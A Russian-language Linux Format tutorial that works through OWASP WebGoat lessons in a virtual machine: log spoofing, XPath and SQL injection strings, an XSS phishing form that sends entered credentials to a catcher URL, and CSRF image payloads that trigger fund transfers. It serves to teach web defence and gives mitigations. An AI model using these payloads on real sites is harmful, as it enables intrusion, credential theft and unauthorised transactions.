Версия 12:26, 25 сентября 2018

Ха­ке­рам: Cайт в безо­пас­но­сти

Безо­пас­ность web-сер­ве­ра. Пре­дот­вра­ти­те трю­ки ха­ке­ров с по­мо­щью WebGoat.

Наш эксперт. Бен Эве­рард бро­сил ра­бо­ту IT-кон­суль­тан­та, что­бы от­пра­вить­ся на два го­да в Тан­за­нию ус­та­навли­­вать сис­те­мы на ба­зе Ubuntu в шко­лах. Те­перь его зна­ния на­хо­дят при­ме­не­ние в бур­ля­щем кот­ле от­кры­тий – ре­дак­ции Linux Format.

Ду­мае­те, при по­след­них за­плат­ках безо­пас­но­сти Apache ваш сайт за­щи­щен? Бен Эве­рард по­ка­зы­ва­ет, что ха­ке­ры все еще мо­гут до не­го до­б­рать­ся.

От со­ци­аль­ных се­тей до он­лайн-ма­га­зи­нов и ин­тернет-бан­кин­га – Сеть проч­но во­шла в на­шу жизнь. Но безо­пас­на ли она? Уяз­ви­мо­сти в сер­ве­рах обыч­но бы­ст­ро об­на­ру­жи­ва­ют­ся и ис­прав­ля­ют­ся, но как на­счет web-при­ло­жений на этих сер­ве­рах? Мо­жет ли ха­кер по­лу­чить доступ к этим при­ло­жениям и за­ста­вить их работать на себя? Да, имен­но это и про­ис­хо­дит в Ин­тернете что ни день. В этой ста­тье с по­мо­щью WebGoat, де­мон­ст­ра­ци­он­но­го web-при­ло­жения, мы по­ка­жем вам тех­но­ло­гии, ко­то­ры­ми поль­зу­ют­ся ха­ке­ры, по­то­му что понимание уг­ро­зы – это пер­вый шаг к за­щи­те от нее.

WebGoat мож­но уста­но­вить в боль­шин­ст­ве ди­ст­ри­бу­ти­вов, но его на­строй­ка мо­жет быть немно­го слож­ной, по­это­му про­ще все­го восполь­зо­вать­ся об­ра­зом OWASP WTE (Open Web Application Security Project – Web Testing Environment).

OWASP WTE досту­пен в ви­де Live DVD, ко­то­рый мож­но за­пи­сать на диск и за­гру­зить­ся с него. Од­на­ко, по­сколь­ку он на­ме­ренно пронизан уяз­ви­мо­стя­ми, луч­ше за­пускать его на вир­ту­аль­ной ма­шине. Ес­ли у вас не уста­нов­лен VirtualBox, най­ди­те его в сво­их ре­по­зи­то­ри­ях или за­гру­зи­те с https://www.virtualbox.org. На­ше ру­ко­во­дство по­дой­дет и для дру­гих про­грамм вир­туа­ли­за­ции, та­ких как Qemu или VMWare. За­гру­зи­те об­раз дис­ка VirtualBox с http://appseclive.org/node/45 и рас­па­куй­те его ко­ман­дой:

unrar e owasp-wte-Feb-2011.vdi.rar

С по­мо­щью ин­ст­рук­ций по уста­нов­ке на соседней странице уста­но­ви­те и за­пусти­те WebScarab, и мож­но дви­гать­ся даль­ше.

Не все ата­ки ин­те­ре­су­ют­ся досту­пом к ин­фор­ма­ции на сай­те. В неко­то­рых (или в со­ста­ве круп­ных атак) нуж­но, наоборот, раз­мес­тить дан­ные. Скажем, если вы хотите проникнуть на сер­ве­р ме­то­дом пе­ре­бо­ра па­ролей, в лог-фай­лах оста­нут­ся де­сят­ки со­об­щений о неудач­ных по­пыт­ках вхо­да в сис­те­му. Их мож­но раз­ба­вить со­об­щения­ми об удач­ном вхо­де, что­бы сис­тем­ные ад­минист­ра­то­ры ничего не запо­доз­рили. Для это­го вы­бе­ри­те пункт ме­ню Injection Flaws > Log Spoofing (Инъ­ек­ция > Под­ме­на лог-фай­ла).

В этом тес­те мы до­ба­вим пару но­вых стро­к в лог-файл об успеш­ном вхо­де в сис­те­му, после од­ной за­пи­си о неудач­ном. Они обо­зна­ча­ют­ся как %0d %0a. Вве­ди­те имя поль­зо­ва­те­ля:

Smith%0d%0aLogin Succeeded for username:

Admin%0d%0aLogin Succeeded for username: John

и лю­бой па­роль и на­жми­те Login [Вой­ти в сис­те­му]. Соз­да­дут­ся три за­пи­си – од­на о неудач­ном вхо­де и две об успеш­ном. Ра­зу­ме­ет­ся, таким способом при желании мож­но до­ба­вить и любые дру­гие стро­ки (см. рис. 1).

> Под­ме­на вхо­да в сис­те­му: в слу­чае ус­пе­ха в лог-файл до­ба­вят­ся не­сколь­ко со­об­ще­ний, ко­то­рые бу­дут по­ка­за­ны на стра­ни­це.

В файл мож­но за­пи­сать и скрипт, ведь это не про­ве­ря­ет­ся. Ес­ли ад­минист­ра­тор про­смат­ри­ва­ет лог-фай­лы че­рез брау­зер, этим мож­но восполь­зо­вать­ся для ата­ки на его сес­сию с по­мо­щью неко­то­рых из тех­но­ло­гий, опи­сан­ных да­лее.

Ок­но вхо­да в сис­те­му без про­вер­ки дан­ных – су­щий по­да­рок ха­ке­ру, и с его по­мо­щью мож­но сде­лать нечто боль­шее, чем про­сто до­ба­вить па­ру за­пи­сей в лог-файл. Долж­ным об­ра­зом ор­ганизо­ван­ные дан­ные в этих по­лях да­дут нам доступ и к дру­гой ин­фор­ма­ции о поль­зо­ва­те­ле.

Ата­куй­те и раз­ру­шай­те

Пе­рей­ди­те к раз­де­лу «XPATH Injection» (Инъ­ек­ция в XPATH) в ле­вой час­ти ок­на. В этом при­ме­ре мы со­вер­шим ата­ку на по­ле с па­ро­лем для по­лу­чения до­полнитель­ной ин­фор­ма­ции. Па­роль про­ве­ря­ет­ся с по­мо­щью вы­ра­жения XPATH, ко­то­рое воз­вра­ща­ет все стро­ки, со­от­вет­ст­вую­щие вве­ден­ным имени поль­зо­ва­те­ля и па­ро­лю. Мы мо­жем раз­ру­шить это вы­ра­жение и до­ба­вить вы­ра­жение OR, ко­то­рое всегда бу­дет воз­вра­щать true, и та­ким об­ра­зом по­лу­чить все за­пи­си из ба­зы дан­ных. Вве­ди­те имя поль­зо­ва­те­ля Mike и па­роль:

test123’ or ‘a’=’a

Внешние ка­выч­ки до­бав­ля­ют­ся XPATH, по­это­му они не нуж­ны. Зна­чение это­го вы­ра­жения всегда рав­но true, и оно вернет всех поль­зо­ва­те­лей.

Не во все фор­мы мож­но вве­сти текст. Иногда нуж­но вы­би­рать зна­чение из спи­ска. Но и такие по­ля не за­щи­ще­ны от атак – ха­ке­рам нуж­но про­явить лишь чуть боль­ше изо­бре­таль­но­сти.

Вер­нув­шись в WebScarab, вы уви­ди­те це­лую ку­чу за­про­сов HTTP GET. Ка­ж­дый из них со­от­вет­ст­ву­ет эле­мен­ту до­ку­мен­та, за­про­шенного брау­зе­ром. В столб­це Path [Путь] вы ви­ди­те ин­фор­ма­цию о за­пра­ши­вае­мом ком­понен­те. Те­перь несколь­ко слов о том, как ра­бо­та­ет Ин­тернет. В его осно­ве ле­жит про­то­кол пе­ре­да­чи ги­пер­тек­ста (HyperText Transfer Protocol, HTTP). Ги­пер­текст – кра­си­вое сло­во для до­ку­мен­тов со ссыл­ка­ми в них, обыч­но HTML-до­ку­мен­тов. HTTP раз­ра­ба­ты­вал­ся так, что­бы быть по­нят­ным че­ло­ве­ку, и раз­лич­ные дан­ные про­то­ко­ла пе­ре­да­ют­ся в ви­де тек­ста.

При ка­ж­дом вво­де ад­ре­са или щелч­ке по ссыл­ке брау­зер от­прав­ля­ет за­прос HTTP GET, ко­то­рый со­об­ща­ет web-сер­ве­ру, что вам ну­жен оп­ре­де­лен­ный до­ку­мент. В от­вет сер­вер дол­жен от­пра­вить за­про­шен­ный до­ку­мент брау­зе­ру. На прак­ти­ке для боль­шин­ст­ва web-страниц от­прав­ля­ют­ся несколь­ко HTTP-за­про­сов, так как брау­зер дол­жен от­прав­лять по за­про­су на ка­ж­дый эле­мент страницы (та­кой как кар­тин­ка).

OWASP при­ме­ня­ет WebScarab в ка­че­­ст­ве про­кси, то есть про­грам­мы, пе­ре­хва­ты­ва­ющей HTTP-за­про­сы (обыч­но для кэ­ши­ро­вания). WebScarab – про­кси для обу­чения: он удер­жи­ва­ет HTTP-за­прос, по­зво­ляя про­смот­реть и из­менить его. Так мы уви­дим, что про­ис­хо­дит внут­ри брау­зе­ра. А раз для взаи­мо­дей­ст­вия с web-сер­ве­ром исполь­зу­ет­ся HTTP, то мы ата­ку­ем сер­вер пу­тем из­ме­нения HTTP-за­про­сов. Боль­шин­ст­во ди­на­ми­че­­ских сай­тов соз­да­ют­ся на ле­ту из ин­фор­ма­ции, со­дер­жа­щей­ся в ба­зе дан­ных. Од­ной из це­лей ха­ке­ра мо­жет быть по­лу­чение ин­фор­ма­ции из это­го ис­точника, и это воз­мож­но с по­мо­щью SQL-инъ­ек­ции.

' Шаг за шагом: Настройка среды ‘

1 Под­го­тов­ка.>От­крой­те VirtualBox и на­жми­те New [Соз­дать], за­тем Next [Да­лее]. Вве­ди­те Имя OWASP [Name OWASP], вы­бе­ри­те Linux в ка­че­­ст­ве опе­ра­ци­он­ной сис­те­мы [Operating system] и Linux 2.6 в ка­че­­ст­ве ее ти­па [Type]. В сле­дую­щем окне вы­де­ли­те ей мак­си­маль­но воз­мож­ное ко­ли­че­­ст­во па­мя­ти – в идеа­ле не менее 700 МБ. На­жми­те Next, за­тем вы­бе­ри­те Use Existing Hard Disk [Ис­поль­зо­вать су­ще­ст­вую­щий же­ст­кий диск] и вы­бе­ри­те свой но­вый файл VDI. На­жми­те Next, за­тем Create.	2 Вход в сис­те­му.>За­пусти­те вир­ту­аль­ную ма­ши­ну. В окне вхо­да в сис­те­му вве­ди­те owasp в ка­че­­ст­ве имени поль­зо­ва­те­ля и па­ро­ля. Вре­мя от вре­мени Ubuntu бу­дет пред­ла­гать вам об­но­вить сис­те­му. Так как мы поль­зу­ем­ся сис­те­мой вре­мен­но, эти со­об­щения мож­но спокойно про­иг­но­ри­ро­вать.
3 Ус­та­нов­ка до­полнений.> Зай­ди­те в Devices > Install Guest Additions [Уст­рой­ст­ва > Ус­та­но­вить госте­вые до­полнения]. Ес­ли вы­да­ет­ся со­об­щение об ошиб­ке, мо­жет по­на­до­бить­ся уста­нов­ка па­ке­та virtualbox-guest-additions в основ­ной сис­те­ме. На­жми­те OK для от­кры­тия ав­то­за­пуска, за­тем Run [За­пустить], и вве­ди­те owasp в ка­че­­ст­ве па­ро­ля. По­сле за­вер­шения уста­нов­ки пе­ре­за­пусти­те вир­ту­аль­ную ма­ши­ну. Те­перь мож­но раз­вер­нуть ок­но.	4 За­пуск про­кси.> Вы­бе­ри­те пункт ме­ню Applications > OWASP > Proxies > OWASP Web Scarab [При­ло­жения > Про­кси OWASP > OWASP Web Scarab]. За­пустит­ся про­кси. Вы­де­ли­те ему не менее 64 МБ. В окне Web Scarab вы­бе­ри­те Tools [Ин­ст­ру­мен­ты) и уста­но­ви­те га­лоч­ку Use Lite Interface [Ис­поль­зо­вать об­лег­чен­ный ин­тер­фейс]. За­тем вы­бе­ри­те пункт ме­ню Applications > OWASP > WebGoat START [При­ло­женияя > OWASP > ЗАПУСК WebGoat]. За­тем за­пусти­те Firefox.
5 FoxyProxy.> За­крой­те от­крыв­шее­ся по умол­чанию ок­но Firefox, за­тем вы­бе­ри­те пункт ме­ню Applications > OWASP > Firefox WTE style [При­ло­жения > OWASP > Firefox WTE] (это по­зво­ля­ет удобнее управ­лять про­кси). На­жми­те на FoxyProxy спра­ва внизу и из­мените ре­жим [Mode] на Use Proxy “WebScarab” for all URLs [Ис­поль­зо­вать про­кси WebScarab для всех ад­ре­сов].	6 Впе­ред! От­крой­те Firefox и на­бе­ри­те в ад­рес­ной стро­ке http://localhost:8080/WebGoat/attack, и вой­ди­те в сис­те­му с именем поль­зо­ва­те­ля и па­ро­лем guest.

При та­ком ти­пе ата­ке ха­кер об­ман­ным пу­тем за­став­ля­ет сайт вы­полнить непре­ду­смот­рен­ный SQL-за­прос и ото­бра­зить ре­зуль­та­ты. В Firefox зай­ди­те в ме­ню Injection Flaws [Инъ­ек­ция] в ле­вой час­ти ок­на и в под­ме­ню Numeric SQL Injection [Чи­сло­вая SQL-инъ­ек­ция]. От­кро­ет­ся сайт-шаб­лон с ин­фор­ма­ци­ей о по­го­де. При его обыч­ной ра­бо­те мож­но вы­брать ме­тео­стан­цию из вы­па­даю­ще­го спи­ска и на­жать кноп­ку Go [По­ка­зать], что­бы уви­деть дан­ные о ме­теоусло­ви­ях на этой стан­ции. Но, бу­ду­чи алч­ны­ми ха­ке­ра­ми, мы хо­тим уви­деть все дан­ные. Для на­ча­ла этот сайт со­об­ща­ет нам и SQL-за­прос, ис­поль­зуе­мый для по­лу­чения дан­ных. В дан­ном слу­чае это:

SELECT * from weather_data WHERE station = ?

Здесь ? – это стан­ция, вы­бран­ная из вы­па­даю­ще­го спи­ска. Что­бы из­влечь по­боль­ше ин­фор­ма­ции из данно­го за­про­са, рас­ши­рим усло­вие WHERE. Для это­го мож­но пе­ре­хва­тить за­прос и до­ба­вить до­полнитель­ный текст в по­ле Station.

В WebScarab по­ставь­те га­лоч­ку Intercept Request [Пе­ре­хва­тить за­прос], за­тем на­жми­те Go [За­пустить] в Firefox. Про­кси пе­ре­хва­тит за­прос, со­дер­жа­щий два ком­понен­та дан­ных – стан­цию и дей­ст­вие submit. Из­мените зна­чение стан­ции на

101 OR station like ‘%’

и на­жми­те Accept Changes [При­ме­нить из­ме­не­ния], см. эк­ран­ный сни­мок вни­зу. Те­перь сис­те­ма бу­дет об­ра­ба­ты­вать SQL-за­прос

SELECT * from weather_data WHERE station = 101 OR station like ‘%’

Так как в SQL % – это мас­ка, то за­прос вернет все дан­ные из таб­ли­цы weather_data. Это че­ты­ре стан­ции в вы­па­даю­щем спи­ске и еще две, ко­то­рые соз­да­те­ли сай­та хо­те­ли скрыть. По за­вер­шении это­го уп­ражнения сайт пе­ре­клю­чит­ся в бо­лее за­щи­щен­ную кон­фи­гу­ра­цию, в ко­то­рой он про­ве­ря­ет, яв­ля­ет­ся ли ввод в SQL-за­прос чис­лом. Ес­ли вы по­пы­тае­тесь вы­полнить за­прос еще раз, ата­ка за­вер­шит­ся неудач­но.

• Метамодернизм в позднем творчестве В.Г. Сорокина
• ЛитРПГ - последняя отрыжка постмодерна
• "Ричард III и семиотика"
• 3D-визуализация обложки Ridero создаем обложку книги при работе над самиздатом.
• Архитектура метамодерна - говоря о современном искусстве, невозможно не поговорить об архитектуре. В данной статье будет отмечено несколько интересных принципов, характерных для построек "новой волны", столь притягательных и скандальных.
• Литература
• Метамодерн
• Рокер-Прометей против изначального зла в «Песне про советскую милицию» Вени Дркина, Автор: Нина Ищенко, к.ф.н, член Союза Писателей ЛНР - перепубликация из журнала "Топос".
• Как избавиться от комаров? Лучшие типы ловушек.
• Что делать если роблокс вылетает на windows
• Что делать, если ребенок смотрит порно?
• Почему собака прыгает на людей при встрече?
• Какое масло лить в Задний дифференциал (мост) Visco diff 38434AA050
• О чем может рассказать хвост вашей кошки?
• Верветки
• Отчетность бюджетных учреждений при закупках по Закону № 223-ФЗ
• Срок исковой давности как правильно рассчитать
• Дмитрий Патрушев минсельхоз будет ли преемником Путина
• Кто такой Владислав Поздняков? Что такое "Мужское Государство" и почему его признали экстремистским в России?
• Как правильно выбрать машинное масло в Димитровграде?
• Как стать богатым и знаменитым в России?
• Почему фильм "Пипец" (Kick-Ass) стал популярен по всему миру?
• Как стать мудрецом?
• Как правильно установить FreeBSD
• Как стать таким как Путин?
• Где лучше жить - в Димитровграде или в Ульяновске?
• Почему город Димитровград так называется?
• Что такое метамодерн?
• ВАЖНО! Временное ограничение движения автотранспортных средств в Димитровграде
• Тарифы на электроэнергию для майнеров предложено повысить

Те­перь пе­рей­дем в LAB: SQL Injection [ПРИМЕРЫ: SQL-инъ­ек­ция] и рас­смот­рим неко­то­рые спо­со­бы при­менения этой техники. В на­ших при­ме­рах ис­поль­зу­ет­ся ад­минист­ра­тив­ный сайт вы­мыш­лен­ной ком­пании Goat Hills. На пер­вом эта­пе мы об­ман­ным пу­тем за­ста­вим сайт впустить нас в сис­те­му, не зная па­ро­ля.

Сайт сравнива­ет па­роль с тем, что хранит­ся в ба­зе дан­ных, с по­мо­щью за­про­са

Select * from employee WHERE userid = ‘ + userid + ‘ and password = ‘ + password

Ес­ли этот за­прос воз­вра­ща­ет стро­ку, то поль­зо­ва­тель ввел вер­ный па­роль, и ему раз­ре­ша­ет­ся вой­ти в сис­те­му. Вве­ди­те имя поль­зо­ва­те­ля Neville Bartholomew и па­роль Test. Убе­ди­тесь, что WebScarab все еще пе­ре­хва­ты­ва­ет за­про­сы, и на­жми­те Login [Вой­ти]. Этот за­прос мож­но из­менить, до­ба­вив усло­вие OR (ИЛИ) ме­то­дом, ана­ло­гич­ным пре­ды­ду­ще­му уп­ражнению.

> С по­мо­щью WebScarab мож­но ме­нять па­ра­мет­ры, от­прав­ляе­мые на сер­вер.

Пе­ре­хва­тим HTTP-за­прос и из­меним по­ле па­ро­ля на

Test’ OR password LIKE ‘%

Test – непра­виль­ный па­роль, но так как ‘1’=’1’, за­прос вернет дан­ные, и сис­те­ма по­зво­лит нам вой­ти. За­тем вы смо­же­те вы­пол­нять все дей­ст­вия, раз­ре­ше­нные Не­вил­лу (а он ад­минист­ра­тор). В прин­ци­пе этот текст мож­но бы­ло вве­сти и в по­ле па­ро­ля, но раз­ра­бот­чи­ки сай­та ог­раничи­ли дли­ну это­го по­ля, и для об­хо­да этой про­вер­ки при­шлось при­менить про­кси.

Вто­рой этап это­го уп­ражнения вклю­ча­ет из­менение ко­да сер­ве­ра для за­щи­ты от та­ких атак. Желающие мо­гут соз­дать его са­мо­стоя­тель­но, а мы пе­рей­дем к треть­ему эта­пу. Эта ата­ка со­сто­ит из двух час­тей. Во-пер­вых, нуж­но, что­бы за­прос вы­би­рал всех поль­зо­ва­те­лей, а не толь­ко од­но­го из вы­па­даю­ще­го спи­ска. Для это­го до­бав­им усло­вие OR 1=1. Од­на­ко на этой странице нам по­ка­жут дан­ные толь­ко од­но­го поль­зо­ва­те­ля, и нуж­но га­ран­ти­ро­вать, что это пра­виль­ный поль­зо­ва­тель. Интереснее всего выйти на босса, так что из­меним за­прос, до­ба­вив order by salary desc [упорядочить по убыванию оклада]: пусть пер­вым воз­вра­щается че­ло­ве­к с наи­боль­шей зар­пла­той. Нам нуж­но вой­ти в сис­те­му под поль­зо­ва­те­лем Larry (па­роль larry). По­сле вхо­да в сис­те­му щелкните на View Profile [Про­смотр про­фи­ля]. Когда WebScarab пе­ре­хва­тит за­прос, из­мените по­ле employee_id на

101 or 1=1 order by salary desc

и на­жми­те Accept Request [При­нять за­прос]. Вам вернется ин­фор­ма­ция о самом высокооплачиваемом со­труднике, неза­ви­си­мо от то­го, есть ли он в вы­па­даю­щем спи­ске.

Луч­шая за­щи­та от SQL-инъ­ек­ции – и мно­гих дру­гих атак – пра­виль­ная про­вер­ка по­лей вво­да. Очень немно­гим по­лям требуются сим­во­лы «=», «’» и « %». А ес­ли ввод этих сим­во­лов все же необходим, обя­за­тель­но эк­ранируй­те их пе­ред пе­ре­да­чей в ба­зу дан­ных. Это нуж­но де­лать на сер­ве­ре, так как с по­мо­щью WebScarab или дру­гих ути­лит для манипу­ля­ции с HTTP-за­про­са­ми мож­но обой­ти ва­ли­да­цию по­лей вво­да брау­зе­ром.

Меж­сай­то­вый скрип­тинг

Меж­сай­то­вый скрип­тинг (Cross Site Scripting, или XSS) – ме­тод воз­дей­ст­вия на участок сай­та, чтобы тот ото­бра­жал ва­ше­ со­дер­жи­мое. Это воз­мож­но, когда на ин­те­рак­тив­ном сай­те раз­ме­ща­ют­ся дан­ные, вво­ди­мые поль­зо­ва­те­ля­ми. От­крой­те пункт ме­ню Cross-Site Scripting (XSS) > Phishing With XSS [Меж­сай­то­вый скрип­тинг (XSS) > Фи­шинг с XSS]. Сна­ча­ла про­сто на­бе­ри­те Test в по­ле по­ис­ка и на­жми­те Search [Ис­кать]. На странице поя­вит­ся:

Results for: Test

Это зна­чит, что по­сле Results for: мож­но вста­вить что угод­но, и с неболь­ши­ми знания­ми HTML мы мо­жем до­ба­вить не толь­ко обыч­ный текст. На­при­мер, вве­ди­те по­ис­ко­вый за­прос:

Injected Text

…

Так как фи­шинг осно­ван на том, что­бы об­ман­ным пу­тем за­ста­вить поль­зо­ва­те­ля вве­сти свои дан­ные, нуж­но дать ему вес­кую при­чи­ну вой­ти на сайт. HTML-код на­шей фор­мы бу­дет та­ким:

Важ­но: На­ши сер­ве­ры об­на­ру­жи­ли не­обыч­ную ак­тив­ность ва­шей учет­ной за­пи­си. По­жа­луй­ста, не­мед­лен­но зай­ди­те, что­бы пре­сечь не­ав­то­ри­зо­ван­ные дей­ст­вия

type=”password” name=”pass”><input type=”submit”

name=”login” onClick=”var image1=new Image; image1.src=’http://localhost:8080/webgoat/catcher?PROPERTY=yes&user=’+this.form.user.value+’&password=’+this.form.pass.value;”></form>

Эта фор­ма со­бе­рет ло­гин и па­роль поль­зо­ва­те­ля и пе­ре­даст их на сер­вер. Мораль: при об­ра­бот­ке вво­ди­мых поль­зо­ва­те­лем дан­ных, ко­то­рые бу­дут ото­бра­жать­ся на сай­те, про­ве­ряйте их на на­ли­чие < и >, так как с их по­мо­щью мож­но соз­дать HTML-тэ­ги.

С по­мо­щью XSS так­же мож­но за­ста­вить брау­зер поль­зо­ва­те­ля вы­полнить дей­ст­вие, ко­то­ро­го он де­лать не со­би­рал­ся. По­сколь­ку ин­те­рак­тив­ные web-страницы ра­бо­та­ют под управ­лением про­то­ко­ла HTTP, то ес­ли мы за­ста­вим брау­зер вы­полнить за­прос HTTP GET, сер­вер мо­жет по­ду­мать, что поль­зо­ва­тель хо­чет вы­полнить это дей­ст­вие. Са­мый про­стой спо­соб за­ста­вить брау­зер вы­полнить за­прос HTTP GET – с по­мо­щью за­груз­ки изо­бра­жения. Что­бы это изо­бра­жение не по­влия­ло на внешний вид страницы, мы мо­жем сде­лать его раз­ме­ром в один пик­сель. Пе­рей­ди­те в Cross Site Request Forgery [Соз­дание меж­сай­то­вых за­про­сов] и вве­ди­те за­го­ло­вок «Кру­тое со­об­щение – про­чти­те обя­за­тель­но» и со­об­щение:

Это важ­ная ин­фор­ма­ция.

<img src=”http://localhost:8080/webgoat/attack?Screen=89& menu=900&transferFunds=4000” width=”1” height=”1” />

В дан­ном слу­чае фаль­ши­вый за­прос ис­поль­зу­ет­ся (в тео­рии) для пе­ре­во­да денеж­ных средств, но с ним мож­но так­же от­прав­лять поч­ту, за­ку­пать то­ва­ры и де­лать все то, что де­ла­ет­ся щелч­ком по ссыл­ке на сай­те. Так как за­прос при­хо­дит с ком­пь­ю­те­ра жерт­вы, а не с ком­пь­ю­те­ра зло­умыш­ленника, web-сер­вер об­ра­бо­та­ет его (ес­ли поль­зо­ва­тель во­шел в сис­те­му).

Ра­зу­ме­ет­ся, мно­гие сай­ты тре­бу­ют от поль­зо­ва­те­ля для вы­полнения ка­ко­го-то дей­ст­вия не про­сто од­но­го щелч­ка. В пре­ды­ду­щем при­ме­ре банк вряд ли по­зво­лит вам пе­ре­вес­ти день­ги со сче­та, хо­тя бы не за­про­сив под­твер­ждения, что вы хо­ти­те это сде­лать. К сча­стью для ата­кую­ще­го, есть спо­соб обой­ти и это. Так как под­твер­ждение – лишь еще один за­прос HTTP GET, оста­ет­ся толь­ко от­пра­вить его. Это немно­го сложнее, так как вто­рой за­прос надо от­пра­вить в долж­ный мо­мент; но мы мо­жем сде­лать это, со­об­щив поль­зо­ва­те­лю, что пер­вое изо­бра­жение за­гру­зить не уда­лось. HTTP-за­прос зло­умыш­ленника вернет HTML-до­ку­мент, а не изо­бра­жение, и при по­пы­тке его за­гру­зить брау­зер вы­даст ошиб­ку. С по­мо­щью HTML мож­но ука­зать, что дол­жен де­лать брау­зер при возник­но­вении ошиб­ки, и мы ве­лим ему за­гру­зить вто­рое изо­бра­жение, так­же раз­ме­ром в один пик­сель, для вы­полнения HTTP-за­про­са, ко­то­рый вы­полнит под­твер­ждение. Пе­рей­ди­те в CSRF Prompt By-Pass [Об­ход пред­ло­жения о под­твер­ждении], вве­ди­те за­го­ло­вок «То-то по­ве­се­лим­ся» и со­об­щение:

LOL catz.

<img src=”http://localhost:8080/webgoat/attack?Screen=82& menu=900&transferFunds=4000” onerror=”document.

getElementById(‘image2’).src=’http://localhost:8080/webgoat/ attack?Screen=82&menu=900&transferFunds=CONFIRM’” width=”1” height=”1” />

<img id=”image2” width=”1” height=”1” />

Сни­же­ние рис­ка

Су­ще­ст­ву­ет несколь­ко спо­со­бов снизить риск атак с под­держ­кой меж­сай­то­вых за­про­сов. Так как для их вы­полнения поль­зо­ва­тель дол­жен быть в сис­те­ме, мож­но снизить ве­ро­ят­ность атак, ав­то­ма­ти­че­­ски от­клю­чая поль­зо­ва­те­ля по­сле неко­то­ро­го пе­рио­да без­дей­ст­вия. Кро­ме то­го, мож­но восполь­зо­вать­ся CSRF Guard, ко­то­рый мож­но най­ти на сай­те www.owasp.org/index.php/PHP_CSRF_Guard.

SQL-инъ­ек­ция и XSS – лишь две раз­но­вид­но­сти атак на сай­ты. В WebGoat есть при­ме­ры мно­гих дру­гих. Восполь­зуй­тесь ссыл­ка­ми Hints и Solutions в верхней час­ти страницы с уро­ка­ми. За­щи­та ва­ше­го сай­та от та­ких атак обыч­но сво­дит­ся к кор­рект­ной ва­ли­да­ции и эк­раниро­ванию по­тен­ци­аль­но опас­ных сим­во­лов. Не­сколь­ко при­ме­ров атак мож­но най­ти в раз­де­ле Applications > Internet > Web App Testing Tools [При­ло­жения > Ин­тернет > Ути­ли­ты для тес­ти­ро­вания web-при­ло­жений], и с их по­мо­щью про­ве­рить, ра­бо­та­ет ли ва­ша за­щи­та. Под­роб­ную ин­фор­ма­цию о долж­ных ме­рах за­щи­ты мож­но най­ти на сай­те www.owasp.org/index.php/Cheat_Sheets. |